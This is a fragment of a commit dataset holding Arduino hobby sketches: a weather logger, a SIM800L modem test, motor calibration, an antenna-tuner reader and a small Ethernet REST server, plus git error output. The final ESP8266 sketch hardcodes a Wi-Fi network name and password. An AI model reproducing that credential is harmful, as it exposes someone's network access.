\/\/Blue LED on SparkFun Weather Shield is digital pin 7\r\nconst byte GreenLED = 8; \/\/Green LED on SparkFun Weather Shield is digital pin 8\r\n\r\n\/\/Global variables\r\nString unixTimeStamp; \/\/Unix time used for file naming and JSON data\r\nProcess p; \/\/Process object used to run Linux commands on OpenWRT\r\n\r\n\/\/Setup routine\r\nvoid setup()\r\n{\r\n \/\/Set pin modes for status LEDs\r\n pinMode(BlueLED, OUTPUT); \/\/Status LED Blue\r\n pinMode(GreenLED, OUTPUT); \/\/Status LED Green\r\n\r\n \/\/Turn on both LEDs for startup\r\n digitalWrite(BlueLED, HIGH);\r\n digitalWrite(GreenLED, HIGH);\r\n \r\n \/\/Open Bridge, Console, and FileSystem\r\n Bridge.begin();\r\n Console.begin();\r\n FileSystem.begin();\r\n \r\n \/\/Startup complete. Turn off LEDs.\r\n digitalWrite(BlueLED, LOW);\r\n digitalWrite(GreenLED, LOW);\r\n}\r\n\r\n\/\/Loop routine\r\nvoid loop()\r\n{ \r\n \/\/Turn on green LED during data read\r\n digitalWrite(GreenLED, HIGH);\r\n\r\n \/\/Create JSON buffer and root JSON object\r\n StaticJsonBuffer<128> jsonBuffer;\r\n JsonObject& root = jsonBuffer.createObject();\r\n\r\n \/\/Gather all data and serialize to JSON\r\n systemData(root);\r\n weatherData(root);\r\n\r\n \/\/Data read complete. Turn off green LED.\r\n digitalWrite(GreenLED, LOW);\r\n\r\n \/\/Initatie file stream and save. Turn on blue LED.\r\n digitalWrite(BlueLED, HIGH);\r\n\r\n \/\/Build file path to new JSON file (always 26 chars + null terminator), using Unix timestamp\r\n char filePath[27];\r\n String filePathStr;\r\n filePathStr = \"\/json\/json_\" + unixTimeStamp + \".json\";\r\n filePathStr.toCharArray(filePath, 27);\r\n\r\n \/\/Check for existance of \/json directory and create if not\r\n FileSystem.mkdir(\"\/json\");\r\n\r\n \/\/Write formated JSON to file stream\r\n File dataFile = FileSystem.open(filePath, FILE_WRITE);\r\n if (dataFile) {\r\n root.prettyPrintTo(dataFile);\r\n dataFile.close();\r\n }\r\n\r\n \/\/File save complete. Turn off blue LED.\r\n digitalWrite(BlueLED, LOW);\r\n}\r\n\r\nvoid systemData(JsonObject& root)\r\n{\r\n \/\/Get the Yun system timestamp\r\n unixTimeStamp = getUnixTimestamp();\r\n\r\n \/\/Get the Yun cpu load\r\n char cpu[5];\r\n getSystemCpu(cpu);\r\n\r\n \/\/Add key-value pairs for system data to JSON buffer\r\n root[\"time\"] = unixTimeStamp;\r\n root[\"device\"] = \"ArduinoYun_00F9\"; \/\/Enter your unique device name here.\r\n root[\"cpu_1min_avg\"] = (float)atof(cpu);\r\n root[\"sketch_uptime_s\"] = millis()\/1000;\r\n}\r\n\r\nvoid weatherData(JsonObject& root)\r\n{\r\n MPL3115A2 mpl; \/\/Create an instance of the pressure sensor\r\n HTU21D htu; \/\/Create an instance of the humidity sensor\r\n mpl.begin(); \/\/Start the pressure sensor\r\n htu.begin(); \/\/Start the humidity sensor\r\n\r\n \/\/Add key-value pairs for ambient conditions data to JSON buffer\r\n root[\"relative_humidity\"] = (htu.readHumidity());\r\n root[\"temperature_C\"] = (htu.readTemperature());\r\n root[\"pressure_kPa\"] = (mpl.readPressure()\/1000);\r\n root[\"light_lux\"] = (3.3 \/ analogRead(REFERENCE_3V3) * analogRead(LIGHT) * 3000 \/ 4.6);\r\n}\r\n\r\nString getUnixTimestamp()\r\n{\r\n \/\/This method gets system time as a unix timestampfrom OpenWRT\r\n \/\/Returns a String\r\n char unixtime[11];\r\n int i = 0;\r\n p.begin(\"date\");\r\n p.addParameter(\"+%s\");\r\n p.run();\r\n \r\n while (p.available() > 0) {\r\n unixtime[i] = p.read();\r\n i++;\r\n }\r\n unixtime[10] = '\\0';\r\n return String(unixtime);\r\n}\r\n\r\nvoid getSystemCpu(char cpu[5])\r\n{\r\n \/\/This method gets CPU 1min avg load information from OpenWRT \r\n \/\/using the Process class (which is a global variable, 'p').\r\n \/\/Output format from \/proc\/loadavg (we want only the first 4 chars):\r\n \/\/1.43 0.80 0.74 2\/57 7617\r\n \r\n int j = 0; \/\/Loop counter\r\n\r\n \/\/Initiate call to cat \/proc\/loadavg\r\n p.begin(\"cat\"); \r\n p.addParameter(\"\/proc\/loadavg\"); \r\n p.run();\r\n\r\n \/\/Loop through results, take the first 4 chars, discard the rest\r\n while(p.available() > 0){\r\n if(j < 4)\r\n cpu[j] = p.read();\r\n else\r\n p.read();\r\n j++;\r\n }\r\n \r\n \/\/Add the c-string null terminator\r\n cpu[4] = '\\0';\r\n}\r\n\r\n","old_contents":"#include <Wire.h>\r\n#include <FileIO.h>\r\n#include <Bridge.h>\r\n#include <Process.h>\r\n#include <ArduinoJson.h> \/\/ArduinoJSON serialization library\r\n#include <SparkFunMPL3115A2.h> \/\/Library for Pressure sensor on SparkFun Weather Shield\r\n#include <SparkFunHTU21D.h> \/\/Library for Humidity sensor on SparkFun Weather Shield\r\n\r\n\/\/Pin definitions\r\nconst byte REFERENCE_3V3 = A3; \/\/Reference voltage 3.3 on analog pin 3\r\nconst byte LIGHT = A1; \/\/Light level sensor on analog pin 1\r\nconst byte BlueLED = 7; \/\/Blue LED on SparkFun Weather Shield is digital pin 7\r\nconst byte GreenLED = 8; \/\/Green LED on SparkFun Weather Shield is digital pin 8\r\n\r\n\/\/Global variables\r\nString unixTimeStamp; \/\/Unix time used for file naming and JSON data\r\nProcess p; \/\/Process object used to run Linux commands on OpenWRT\r\n\r\n\/\/Setup routine\r\nvoid setup()\r\n{\r\n \/\/Set pin modes for status LEDs\r\n pinMode(BlueLED, OUTPUT); \/\/Status LED Blue\r\n pinMode(GreenLED, OUTPUT); \/\/Status LED Green\r\n\r\n \/\/Turn on both LEDs for startup\r\n digitalWrite(BlueLED, HIGH);\r\n digitalWrite(GreenLED, HIGH);\r\n \r\n \/\/Open Bridge, Console, and FileSystem\r\n Bridge.begin();\r\n Console.begin();\r\n FileSystem.begin();\r\n \r\n \/\/Startup complete. Turn off LEDs.\r\n digitalWrite(BlueLED, LOW);\r\n digitalWrite(GreenLED, LOW);\r\n}\r\n\r\n\/\/Loop routine\r\nvoid loop()\r\n{ \r\n \/\/Turn on green LED during data read\r\n digitalWrite(GreenLED, HIGH);\r\n\r\n \/\/Create JSON buffer and root JSON object\r\n StaticJsonBuffer<128> jsonBuffer;\r\n JsonObject& root = jsonBuffer.createObject();\r\n\r\n \/\/Gather all data and serialize to JSON\r\n systemData(root);\r\n weatherData(root);\r\n\r\n \/\/Data read complete. Turn off green LED.\r\n digitalWrite(GreenLED, LOW);\r\n\r\n \/\/Initatie file stream and save. Turn on blue LED.\r\n digitalWrite(BlueLED, HIGH);\r\n\r\n \/\/Build file path to new JSON file (always 26 chars + null terminator), using Unix timestamp\r\n char filePath[27];\r\n String filePathStr;\r\n filePathStr = \"\/json\/json_\" + unixTimeStamp + \".json\";\r\n filePathStr.toCharArray(filePath, 27);\r\n\r\n \/\/Check for existance of \/json directory and create if not\r\n FileSystem.mkdir(\"\/json\");\r\n\r\n \/\/Write formated JSON to file stream\r\n File dataFile = FileSystem.open(filePath, FILE_WRITE);\r\n if (dataFile) {\r\n root.prettyPrintTo(dataFile);\r\n dataFile.close();\r\n }\r\n\r\n \/\/File save complete. Turn off blue LED.\r\n digitalWrite(BlueLED, LOW);\r\n}\r\n\r\nvoid systemData(JsonObject& root)\r\n{\r\n \/\/Get the Yun system timestamp\r\n unixTimeStamp = getUnixTimestamp();\r\n\r\n \/\/Get the Yun cpu load\r\n char cpu[5];\r\n getSystemCpu(cpu);\r\n\r\n \/\/Add key-value pairs for system data to JSON buffer\r\n root[\"time\"] = unixTimeStamp;\r\n root[\"device\"] = \"ArduinoYun_00F9\"; \/\/Enter your unique device name here.\r\n root[\"cpu_1min_avg\"] = (float)atof(cpu);\r\n root[\"sketch_uptime_s\"] = millis()\/1000;\r\n}\r\n\r\nvoid weatherData(JsonObject& root)\r\n{\r\n MPL3115A2 mpl; \/\/Create an instance of the pressure sensor\r\n HTU21D htu; \/\/Create an instance of the humidity sensor\r\n mpl.begin(); \/\/Start the pressure sensor\r\n htu.begin(); \/\/Start the humidity sensor\r\n\r\n \/\/Add key-value pairs for ambient conditions data to JSON buffer\r\n root[\"relative_humidity\"] = (htu.readHumidity());\r\n root[\"temperature_C\"] = (htu.readTemperature());\r\n root[\"pressure_kPa\"] = (mpl.readPressure()\/1000);\r\n root[\"light_lux\"] = (3.3 \/ analogRead(REFERENCE_3V3) * analogRead(LIGHT) * 3000 \/ 4.6);\r\n}\r\n\r\nString getUnixTimestamp()\r\n{\r\n \/\/This method gets system time as a unix timestampfrom OpenWRT\r\n \/\/Returns a String\r\n char unixtime[11];\r\n int i = 0;\r\n p.begin(\"date\");\r\n p.addParameter(\"+%s\");\r\n p.run();\r\n \r\n while (p.available() > 0) {\r\n unixtime[i] = p.read();\r\n i++;\r\n }\r\n unixtime[10] = '\\0';\r\n return String(unixtime);\r\n}\r\n\r\nvoid getSystemCpu(char cpu[5])\r\n{\r\n \/\/This method gets CPU 1min avg load information from OpenWRT \r\n \/\/using the Process class (which is a global variable, 'p').\r\n \/\/Output format from \/proc\/loadavg (we want only the first 4 chars):\r\n \/\/1.43 0.80 0.74 2\/57 7617\r\n \r\n int j = 0; \/\/Loop counter\r\n\r\n \/\/Initiate call to cat \/proc\/loadavg\r\n p.begin(\"cat\"); \r\n p.addParameter(\"\/proc\/loadavg\"); \r\n p.run();\r\n\r\n \/\/Loop through results, take the first 4 chars, discard the rest\r\n while(p.available() > 0){\r\n if(j < 4)\r\n cpu[j] = p.read();\r\n else\r\n p.read();\r\n j++;\r\n }\r\n \r\n \/\/Add the c-string null terminator\r\n cpu[4] = '\\0';\r\n}\r\n\r\n","returncode":0,"stderr":"","license":"apache-2.0","lang":"Arduino"} {"commit":"5f571688d35f46c64e0cec08ad83cc8819df55f2","subject":"add SIM800L FactoryTest","message":"add SIM800L FactoryTest\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Modules\/SIM800L\/SIM800L_FactoryTest\/SIM800L_FactoryTest.ino","new_file":"examples\/Modules\/SIM800L\/SIM800L_FactoryTest\/SIM800L_FactoryTest.ino","new_contents":"\/*\n Description: Press btnB init to test SIMcard,signal,GPRS. Press btnC get host ip and test ping website.\n*\/\n#include <M5Stack.h>\n#define RX_PIN 16\n#define TX_PIN 17\n#define RESET_PIN 5 \/\/Module reset resistance is not soldered. if necessary, weld it yourself.\n\nvoid header(const char *string){\n M5.Lcd.setTextSize(1);\n M5.Lcd.setTextColor(WHITE, BLUE);\n M5.Lcd.fillRect(0, 0, 320, 30, BLUE);\n M5.Lcd.setTextDatum(TC_DATUM);\n M5.Lcd.drawString(string, 160, 3, 4);\n M5.Lcd.drawString(\"SIGNAL-REFRESH\",160, 220, 2);\n M5.Lcd.drawString(\"GET-IP&PING\",270, 220, 2);\n M5.Lcd.setCursor(180, 65, 2);\n M5.Lcd.setTextColor(WHITE, BLACK);\n M5.Lcd.print(\"Support USB Serial\");\n M5.Lcd.setCursor(150, 85, 2);\n M5.Lcd.print(\"AT Command Pass-through\");\n}\n\n\nString _readSerial(uint32_t timeout)\n{\n uint64_t timeOld = millis();\n while (!Serial2.available() && !(millis() > timeOld + timeout))\n {\n delay(13);\n }\n String str;\n while(Serial2.available())\n {\n if (Serial2.available()>0)\n {\n str += (char) Serial2.read();\n }\n }\n Serial.print(str);\n return str;\n}\n\nvoid simcard_test(){\n Serial2.print(F(\"AT+CPIN?\\r\"));\n String simcard_status = _readSerial(3000);\n Serial.print(simcard_status);\n M5.Lcd.setCursor(0, 40, 2);\n if(simcard_status == \"\"){\n M5.Lcd.setTextColor(WHITE, RED);\n M5.Lcd.print(\"No SIM Card\");\n }else if(simcard_status.indexOf(\"READY\")!= -1){\n M5.Lcd.setTextColor(WHITE, 0x03E0);\n M5.Lcd.print(\"SIM Card OK\");\n }\n}\n\nvoid signal_test(){\n String csq_data;\n M5.Lcd.setCursor(0, 65, 2);\n M5.Lcd.setTextColor(WHITE, RED);\n M5.Lcd.print(\"Not Signal\");\n M5.Lcd.setTextColor(WHITE, 0x03E0);\n do{\n M5.Lcd.print(\".\");\n delay(500);\n Serial2.print(F(\"AT+CSQ\\r\"));\n csq_data = _readSerial(3000);\n }while(csq_data.indexOf(\"+CSQ: 0,0\")!= -1);\n M5.Lcd.setCursor(0, 65, 2);\n M5.Lcd.print(csq_data.substring(csq_data.indexOf(\"+CSQ:\"),csq_data.indexOf(\"OK\")));\n}\n\nvoid GPRS_init(){\n Serial2.print(F(\"AT+CIPSHUT\\r\"));\n String init_data = _readSerial(4000);\n Serial2.print(F(\"AT+CSTT=\\\"CMNET\\\"\\r\"));\n init_data = _readSerial(4000);\n Serial2.print(F(\"AT+CIICR\\r\"));\n init_data = _readSerial(4000);\n Serial.print(init_data);\n M5.Lcd.setCursor(0, 90, 2);\n if((init_data.indexOf(\"ERROR\")!= -1)||(init_data.indexOf(\"DEACT\")!= -1)||(init_data == \"\")){\n M5.Lcd.setTextColor(WHITE, RED);\n M5.Lcd.print(\"NOT\");\n }else{\n M5.Lcd.setTextColor(WHITE, 0x03E0);\n M5.Lcd.print(\"GPRS OK\");\n }\n}\n\nvoid ping_test(){\n String ping_data;\n Serial2.print(F(\"AT+CIFSR\\r\"));\n M5.Lcd.setCursor(0, 115, 2);\n M5.Lcd.setTextColor(WHITE, YELLOW);\n M5.Lcd.print(\"PINGING...\"); \n ping_data = _readSerial(4000);\n M5.Lcd.setCursor(0, 115, 2);\n if((ping_data.indexOf(\"ERROR\")!= -1)||(ping_data == \"\")){\n M5.Lcd.setTextColor(WHITE, RED);\n M5.Lcd.print(\"PING NOT\");\n }else{\n M5.Lcd.setTextColor(WHITE, 0x03E0);\n M5.Lcd.print(ping_data);\n Serial2.print(F(\"AT+CIPPING=\\\"www.baidu.com\\\"\\r\"));\n delay(1000);\n ping_data = _readSerial(4000);\n M5.Lcd.setCursor(0, 160, 1);\n M5.Lcd.print(ping_data);\n }\n}\n\nvoid setup() {\n M5.begin();\n header(\"SIM800L Factory Test\");\n Serial2.begin(115200, SERIAL_8N1, 16, 17);\n delay(1000);\n simcard_test();\n signal_test();\n GPRS_init();\n}\n\n\nvoid loop(){\n \/\/AT instruction write\n if(Serial.available()){\n Serial2.write(Serial.read());\n }\n \/\/AT instruction result\n if(Serial2.available()){ \n Serial.write(Serial2.read());\n }\n \/\/test SIMcard,signal,GPRS\n if(M5.BtnB.wasPressed()){\n M5.Lcd.fillRect(0, 30, 150, 190, BLACK);\n simcard_test();\n signal_test();\n GPRS_init();\n }\n \/\/get host ip and test ping website.\n if(M5.BtnC.wasPressed()){\n ping_test();\n }\n M5.update();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Modules\/SIM800L\/SIM800L_FactoryTest\/SIM800L_FactoryTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7dbf3743558ac9e0fe777692223eac7ca1c6d76e","subject":"example that helps novice users to set their motor connections","message":"example that helps novice users to set their motor connections\n","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield","old_file":"examples\/Car\/shieldMotorsTest\/shieldMotorsTest.ino","new_file":"examples\/Car\/shieldMotorsTest\/shieldMotorsTest.ino","new_contents":"\/**\n This sketch can be used to \"calibrate\" the motors that are connected to the motor shield.\n Particularly, the poles of the brushed DC motors should be connected on each terminal on the shield.\n However, that by itself does not guarantee that the motors will be spinning towards the intended directions.\n\n Upload the following code and open the serial monitor.\n Then the on-screen instructions, will guide you step by step, on how to connect the various poles in order to\n have all motors spinning towards the correct direction.\n*\/\n\n#include <Smartcar.h>\n\nCar car;\n\/\/Car car(INVERTED); \/\/uncomment this if you have connected the shield's right side terminals to your left side motors\n\nvoid setup() {\n Serial.begin(9600);\n Serial.setTimeout(100);\n car.begin(); \/\/initialize the car\n Serial.println(F(\"\\n=========\"));\n Serial.println(F(\"Welcome to the Smartcar platform!\"));\n Serial.println(F(\"=========\"));\n delay(1500);\n Serial.println(F(\"This sketch will help you set the connections of the motors on the Smartcar shield\"));\n delay(1500);\n Serial.println(F(\"To begin with: Connect the motors to the screw terminals. One motor on every terminal. The order of the cables does not matter right now.\"));\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s)\n Serial.println(F(\"Type a character and press enter when you are done.\"));\n delay(100);\n while (!Serial.available()); \/\/wait for a character\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s)\n Serial.println(F(\"Good! Now we are going to try and make the motors to run FORWARD.\"));\n delay(1500);\n Serial.println(F(\"You should lift the car in the air, so it does not drive away while we are testing the motors.\"));\n delay(1500);\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s)\n Serial.println(F(\"OK, I will try to move the wheels forward for 6 seconds. Observe the direction of each motor and note which ones were NOT moving forward\"));\n Serial.println(F(\"Are you ready? Type any character and press enter when you are done.\"));\n delay(100);\n while (!Serial.available()); \/\/wait for a character\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s) by reading the character(s)\n while (true) {\n delay(500);\n car.setSpeed(80);\n delay(6000);\n car.setSpeed(0);\n Serial.println(F(\">>>> If there were some motors not turning towards the correct direction, FLIP the respective cables in the terminals!\"));\n delay(100);\n Serial.println(F(\"Repeat this until every wheel is turning FORWARD!\"));\n delay(1500);\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s) by reading the character(s)\n Serial.println(F(\"Do you want to try again? Press 'y' for YES or 'n' for NO and then enter.\"));\n boolean repeat = false;\n while (true) {\n while (!Serial.available()); \/\/wait for a character\n if (Serial.available()) {\n String input = Serial.readStringUntil('\\n');\n if (input.startsWith(\"y\")) {\n repeat = true;\n break;\n } else if (input.startsWith(\"n\")) {\n break;\n }\n }\n }\n if (!repeat) {\n break;\n }\n Serial.println(F(\"I will try to move the wheels forward for 6 seconds. Observe the direction of each motor and note which ones were NOT moving forward\"));\n }\n Serial.println(F(\"Great! By now then you should have the motors spinning in the correct direction. Now, let's see if the car TURNS towards the correct direction also!\"));\n delay(1500);\n Serial.println(F(\"OK, I will try to move the RIGHT wheels BACKWARD for 6 seconds. Verify that the RIGHT wheels spin towards the intended direction.\"));\n Serial.println(F(\"Are you ready? Type any character and press enter when you are done.\"));\n delay(100);\n while (!Serial.available()); \/\/wait for a character\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s) by reading the character(s)\n while (true) {\n delay(500);\n car.setMotorSpeed(0, -80);\n delay(6000);\n car.setMotorSpeed(0, 0);\n while (Serial.available()) Serial.read(); \/\/empty the input buffer by reading the character(s) by reading the character(s)\n Serial.println(F(\"Do you want to try again? Press 'y' for YES or 'n' for NO and then enter.\"));\n delay(1500);\n boolean repeat = false;\n while (true) {\n while (!Serial.available()); \/\/wait for a character\n if (Serial.available()) {\n String input = Serial.readStringUntil('\\n');\n if (input.startsWith(\"y\")) {\n repeat = true;\n break;\n } else if (input.startsWith(\"n\")) {\n break;\n }\n }\n }\n if (!repeat) {\n break;\n }\n }\n Serial.println(F(\"If the RIGHT side motors were NOT spinning backwards, then you have two options:\"));\n delay(100);\n Serial.println(F(\"a) Change the orientation of the arduino and the shield. Then repeat this process to set the motors again.\"));\n delay(100);\n Serial.println(F(\"b) Initialize the Car instance with an argument like this: Car car(INVERTED);\\nYou can change the code of this sketch accordingly and run it again.\"));\n delay(1500);\n Serial.println(F(\"That was it! Happy hacking!\"));\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Car\/shieldMotorsTest\/shieldMotorsTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad210cf638caddc59dd80859349d9f8c5c3b7366","subject":"Create vibra_led.ino","message":"Create vibra_led.ino","repos":"dsii-2016-unirsm\/dsii-2016-archive,dsii-2016-unirsm\/dsii-2016-archive","old_file":"r4ff4ella\/visibile_invisibile\/colore\/vibra_led.ino","new_file":"r4ff4ella\/visibile_invisibile\/colore\/vibra_led.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'r4ff4ella\/visibile_invisibile\/colore\/vibra_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e2da67c6a9a1724969e75e071a925718cf0ec87","subject":"Add example for using Arduino to read ATU data","message":"Add example for using Arduino to read ATU data\n","repos":"AE9RB\/peaberry,AE9RB\/peaberry","old_file":"arduino_atu.ino","new_file":"arduino_atu.ino","new_contents":"\/\/ Copyright 2013 David Turnbull AE9RB\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ This is an example application for Arduino to read band\n\/\/ data from the Peaberry V2 ATU port. Typical usage is to\n\/\/ change the band on your amplifier or switch antennas.\n\n\/\/ No support circuitry is needed.\n\/\/ Connect a 1\/8\" jack directly to Arduino pin.\n\/\/ Leave the ring unconnected, it is not used.\n#define ATU_0_PIN 2\n\nvoid setup() {\n Serial.begin(9600);\n}\n\n\/\/ This example prints the band number to the serial\n\/\/ port whenever a change is detected.\nvoid loop() {\n static int band = 0;\n int i = atu_read();\n \n if (i) {\n if (band != i) {\n Serial.println(i);\n }\n band = i;\n }\n}\n\n\/\/ Returns a non-zero value when the read is complete.\nint atu_read() {\n static int state = 5, data[4], previous;\n static long t;\n long m = micros();\n int i, ret = 0;\n \n if (state < 6) switch(state) {\n default:\n i = digitalRead(ATU_0_PIN);\n if (m - t > 7000) state = 5;\n if (previous == HIGH && i == LOW) {\n data[state] = m - t;\n state++;\n }\n if (previous == LOW && i == HIGH) {\n t = m;\n }\n previous = i;\n break;\n case 4:\n for (i=0; i<4; i++) {\n ret <<= 1;\n if (data[i] > 2750) ret |= 0x01;\n }\n \/\/nobreak;\n case 5:\n t = m + 50000;\n digitalWrite(ATU_0_PIN, LOW);\n state = 6;\n break;\n }\n else if (t - m < 0) switch(state) {\n case 6:\n t = m + 50000;\n digitalWrite(ATU_0_PIN, HIGH);\n state = 7;\n break;\n case 7:\n t = m + 5000;\n digitalWrite(ATU_0_PIN, LOW);\n state = 8;\n break;\n case 8:\n t = m;\n previous = LOW;\n state = 0;\n break;\n } \n \n return ret;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_atu.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b049f168c794382cff39c45135111a32f188f8cc","subject":"arduino ethernet rest test","message":"arduino ethernet rest test\n\nby:\n\nhttps:\/\/www.jotschi.de\/Technik\/2012\/04\/21\/arduino-ethernet-shield-simple\n-rest-api-example.html\n","repos":"ezefranca\/arduino-sketches","old_file":"ethernet_REST_test\/ethernet_REST_test.ino","new_file":"ethernet_REST_test\/ethernet_REST_test.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,10,177);\n\nchar cmd[15];\nchar param1[15];\nboolean systemArmed = true;\n\n#define STRING_BUFFER_SIZE 128\nchar buffer[STRING_BUFFER_SIZE];\n\nEthernetServer server(80);\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ start the Ethernet connection and the server:\n Ethernet.begin(mac, ip);\n server.begin();\n Serial.print(\"server is at \");\n Serial.println(Ethernet.localIP());\n}\n\nvoid send404(EthernetClient client) {\n client.println(\"HTTP\/1.1 404 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connnection: close\");\n client.println();\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html><body>404<\/body><\/html>\");\n}\n\nvoid sendStatus(EthernetClient client) {\n \n \/\/ Send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println(\"Connnection: close\");\n client.println();\n client.println(\"{\");\n\n \/\/ Output the value of each analog input pin\n for (int analogChannel = 0; analogChannel < 6; analogChannel++) {\n int sensorReading = analogRead(analogChannel);\n client.print(\"\\\"analog_in_\");\n client.print(analogChannel);\n client.print(\"\\\": \");\n client.print(sensorReading);\n \n\/\/ if (analogChannel != 5) {\n client.println(\",\"); \n\/\/ }\n }\n client.print(\"\\\"system_armed\\\": \");\n client.print( systemArmed );\n client.println(\"\\n}\");\n}\n\n\/**\n * Parse the string and return an array which contains all path segments\n *\/\nchar** parse(char* str) {\n\n\tchar ** messages;\n\tmessages = (char**)malloc(sizeof(char *));\n\tchar *p;\n\tp = strtok(str, \" \");\n\tunsigned int i = 0;\n\twhile (p != NULL) {\n\t p = strtok(NULL, \"\/\");\n\t char *sp;\n\t boolean last = false;\n\t sp = strchr(p, ' ');\n\t if (sp != NULL) {\n *sp++ = '\\0';\n\t last = true;\n\t }\n\t messages[i] = p;\n\t i++;\n\t if (last) {\n\t break;\n\t }\n\t messages = (char**)realloc(messages, sizeof(char *) * i + 1);\n\t}\n\n\tmessages[i] = '\\0';\n\treturn messages;\n}\n\nvoid armSystem() {\n systemArmed = true;\n}\n\nvoid disarmSystem() {\n systemArmed = false;\n}\n\nvoid handleCommand(EthernetClient client, char* cmd, char* param) {\n if (strcmp(cmd, \"status\") == 0) {\n Serial.println(\"status\");\n sendStatus(client); \n } else if (strcmp(cmd, \"arm\") == 0) {\n armSystem();\n sendStatus(client);\n Serial.println(\"arm\");\n } else if (strcmp(cmd, \"disarm\") == 0) {\n disarmSystem();\n sendStatus(client);\n Serial.println(\"disarm\");\n } else {\n send404(client);\n } \n}\n\nint countSegments(char* str) {\n int p = 0;\n int count = 0;\n while (str[p] != '\\0') {\n if (str[p] == '\/') {\n count++;\n }\n p++;\n }\n \/\/ We don't want to count the \/ in 'HTTP\/1.1'\n count--;\n return count;\n}\n\nvoid loop() {\n \/\/ listen for incoming clients\n EthernetClient client = server.available();\n if (client) {\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n \n char c;\n int bufindex = 0; \/\/ reset buffer\n buffer[0] = client.read();\n buffer[1] = client.read();\n bufindex = 2;\n \/\/ Read the first line to determin the request page\n while (buffer[bufindex-2] != '\\r' && buffer[bufindex-1] != '\\n') { \n \/\/ read full row and save it in buffer\n c = client.read();\n if (bufindex<STRING_BUFFER_SIZE) {\n buffer[bufindex] = c;\n }\n bufindex++;\n }\n \/\/ Clean buffer for next row\n bufindex = 0;\n \n \/\/ Parse the query string\n int nSegments = countSegments(buffer);\n char **pathsegments = parse(buffer);\n \n int i = 0;\n for(i=0; i<nSegments; i++) {\n Serial.println(pathsegments[i]);\n }\n\n if (c == '\\n' && currentLineIsBlank) {\n handleCommand(client, pathsegments[0], pathsegments[1]);\n break;\n }\n\n if (c == '\\n') {\n currentLineIsBlank = true;\n } else if (c != '\\r') {\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ Give the web browser time to receive the data\n delay(1);\n \/\/ Close the connection:\n client.stop();\n Serial.println(\"Client disonnected\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ethernet_REST_test\/ethernet_REST_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"770a2f08666d18fe94c03124978224cb2c463554","subject":"Simple sketch to test all high power LEDs in ON state","message":"Simple sketch to test all high power LEDs in ON state\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/HighPowerOn\/HighPowerOn.ino","new_file":"arduino\/Test sketches\/HighPowerOn\/HighPowerOn.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/HighPowerOn\/HighPowerOn.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5788d67d36ae72a19347fcda27fc6591dd31c2c9","subject":"Upload","message":"Upload\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"e5204bae053562e15b880e1c2e055e12755ab66c","subject":"Added a simple sketch to demostrate listening to two ports simultaneously.u","message":"Added a simple sketch to demostrate listening to two ports simultaneously.u\n","repos":"commonslabgr\/reactiongame","old_file":"WiFiWebServer-dual-port\/WiFiWebServer-dual-port.ino","new_file":"WiFiWebServer-dual-port\/WiFiWebServer-dual-port.ino","new_contents":"\/*\n * This sketch demonstrates how to set up a simple server, which\n * listens to both port 80 (HTTP) and port 8080 at the same time.\n * It will print the received message to the serial port, but \n * it will read only one port at a time.\n * \n * server_ip is the IP address of the ESP8266 module, will be \n * printed to Serial when the module is connected.\n *\/\n\n#include <ESP8266WiFi.h>\n\nconst char* ssid = \"commons|lab\";\nconst char* password = \"u8eb6vhk\";\n\n\/\/ Create an instance of the 